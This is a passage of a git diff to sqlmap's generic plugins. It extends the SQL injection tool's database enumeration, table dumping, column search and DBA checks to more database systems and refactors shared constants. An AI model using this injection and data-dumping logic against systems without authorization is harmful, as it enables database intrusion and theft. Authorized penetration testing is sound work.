(unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -608,18 +636,6 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.info(infoMsg) values = None - if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - expression = query - kb.dumpColumns = [] - kb.rowXmlMode = True - - for column in (extractRegexResult(r"SELECT (?P.+?) FROM", query) or "").split(','): - kb.dumpColumns.append(randomStr().lower()) - expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1) - - values = unionUse(expression) - kb.rowXmlMode = False - kb.dumpColumns = None if values is None: values = inject.getValue(query, blind=False, time=False) @@ -660,7 +676,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) @@ -680,6 +696,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1] if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(key, columnData[1]) + elif Backend.isDbms(DBMS.ALTIBASE): + columnData[1] = ALTIBASE_TYPES.get(key, columnData[1]) elif Backend.isDbms(DBMS.INFORMIX): notNull = False if isinstance(key, int) and key > 255: @@ -722,11 +740,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -789,7 +807,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -797,7 +815,14 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.isDbms(DBMS.MIMERSQL): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.MONETDB): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None @@ -821,7 +846,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) @@ -836,9 +861,9 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) @@ -846,6 +871,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType @@ -921,11 +948,11 @@ def _tableGetCount(self, db, table): if not db or not table: return None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() table = table.upper() - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) @@ -953,7 +980,7 @@ def getCount(self): if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) - if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) @@ -982,7 +1009,10 @@ def getStatements(self): rootQuery = queries[Backend.getIdentifiedDbms()].statements if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - query = rootQuery.inband.query + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query while True: values = inject.getValue(query, blind=False, time=False) @@ -1005,6 +1035,10 @@ def getStatements(self): logger.info(infoMsg) query = rootQuery.blind.count + + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY") + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: @@ -1013,7 +1047,7 @@ def getStatements(self): errMsg = "unable to retrieve the number of statements" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -1029,6 +1063,10 @@ def getStatements(self): if isNoneValue(value): query = rootQuery.blind.query % index + + if Backend.isFork(FORK.DRIZZLE): + query = query.replace("INFORMATION_SCHEMA", "DATA_DICTIONARY") + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(value): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 83e4fea0939..8cc32b5385c 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,6 +43,8 @@ from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable @@ -70,7 +72,7 @@ def dumpTable(self, foundData=None): conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -86,7 +88,7 @@ def dumpTable(self, foundData=None): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -129,6 +131,8 @@ def dumpTable(self, foundData=None): try: if Backend.isDbms(DBMS.INFORMIX): kb.dumpTable = "%s:%s" % (conf.db, tbl) + elif Backend.isDbms(DBMS.SQLITE): + kb.dumpTable = tbl else: kb.dumpTable = "%s.%s" % (conf.db, tbl) @@ -154,8 +158,8 @@ def dumpTable(self, foundData=None): logger.warn(warnMsg) continue - kb.dumpColumns = colList - colNames = colString = ", ".join(column for column in colList) + kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] + colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" @@ -168,7 +172,7 @@ def dumpTable(self, foundData=None): for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 @@ -176,9 +180,9 @@ def dumpTable(self, foundData=None): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error @@ -232,7 +236,7 @@ def dumpTable(self, foundData=None): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -285,9 +289,9 @@ def dumpTable(self, foundData=None): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) @@ -325,12 +329,10 @@ def dumpTable(self, foundData=None): continue - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): - if Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): table = tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - table = "%s.%s" % (conf.db, tbl) - elif Backend.isDbms(DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) @@ -380,7 +382,7 @@ def dumpTable(self, foundData=None): else: emptyColumns = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: @@ -405,16 +407,22 @@ def dumpTable(self, foundData=None): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.isDbms(DBMS.SQLITE): + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index d5b35b7e0e1..42edfcbc3ca 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -31,7 +31,6 @@ def __init__(self): kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None - kb.data.characterSet = None Custom.__init__(self) Databases.__init__(self) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 2a04bb9f0cc..0c235a41ded 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 76c7199f143..21426358fc1 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 528dad0b15b..0c46dd99085 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index c2a680afad3..e4a1dc35e8d 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -34,6 +34,7 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists @@ -63,7 +64,7 @@ def searchDb(self): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() infoMsg = "searching database" @@ -148,7 +149,7 @@ def searchTable(self): bruteForce = True if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -170,7 +171,7 @@ def searchTable(self): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: tbl = tbl.upper() conf.db = conf.db.upper() if conf.db else conf.db @@ -193,6 +194,9 @@ def searchTable(self): else: whereDbsQuery = "" + if dbCond and conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) + logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) @@ -344,13 +348,15 @@ def searchTable(self): def searchColumn(self): bruteForce = False + self.forceDbmsEnum() + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" bruteForce = True if bruteForce: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -393,7 +399,7 @@ def searchColumn(self): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: column = column.upper() conf.db = conf.db.upper() if conf.db else conf.db conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl @@ -405,24 +411,31 @@ def searchColumn(self): foundCols[column] = {} - if conf.tbl: - _ = conf.tbl.split(',') - whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" - infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _)) + if tblCond: + if conf.tbl: + tbls = conf.tbl.split(',') + if conf.exclude: + tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None] + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls)) if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db: - _ = conf.db.split(',') - whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" - infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) - elif conf.excludeSysDbs: - whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) - msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(msg) - else: - infoMsgDb = " across all databases" + if dbCond: + if conf.db: + _ = conf.db.split(',') + whereDbsQuery = " AND (" + " OR ".join("%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + ")" + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in _)) + elif conf.excludeSysDbs: + whereDbsQuery = "".join(" AND %s != '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList) + msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(msg) + else: + infoMsgDb = " across all databases" + + if conf.exclude: + whereDbsQuery += " AND %s NOT LIKE '%s'" % (dbCond, re.sub(r"\.[*+]", '%', conf.exclude._original)) logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) @@ -537,8 +550,12 @@ def searchColumn(self): logger.info(infoMsg) query = rootQuery.blind.count2 - query = query % unsafeSQLIdentificatorNaming(db) - query += " AND %s" % colQuery + if not re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % unsafeSQLIdentificatorNaming(db) + query += " AND %s" % colQuery + else: + query = query % colQuery + query += whereTblsQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) @@ -558,8 +575,12 @@ def searchColumn(self): for index in indexRange: query = rootQuery.blind.query2 - if query.endswith("'%s')"): + if re.search(r"(?i)%s\Z" % METADB_SUFFIX, db or ""): + query = query % (colQuery + whereTblsQuery) + elif query.endswith("'%s')"): query = query[:-1] + " AND %s)" % (colQuery + whereTblsQuery) + elif " ORDER BY " in query: + query = query.replace(" ORDER BY ", " AND %s ORDER BY " % (colQuery + whereTblsQuery)) else: query += " AND %s" % (colQuery + whereTblsQuery) @@ -602,7 +623,7 @@ def searchColumn(self): logger.warn(warnMsg) def search(self): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index f6476382ad1..0c16c49391f 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 33e45886f3e..e5dcfb6705d 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 1636522eb3a..e21cfe4c101 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -36,10 +36,12 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED +from lib.core.enums import FORK from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_USER +from lib.core.settings import PLUS_ONE_DBMSES from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords @@ -75,16 +77,22 @@ def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) + query = None + if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() - query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) + if Backend.isFork(FORK.DRIZZLE): + kb.data.isDba = "root" in (kb.data.currentUser or "") + elif kb.data.currentUser: + query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0] elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query - query = agent.forgeCaseStatement(query) - kb.data.isDba = inject.checkBooleanExpression(query) or False + if query: + query = agent.forgeCaseStatement(query) + kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba @@ -98,10 +106,13 @@ def getUsers(self): condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, 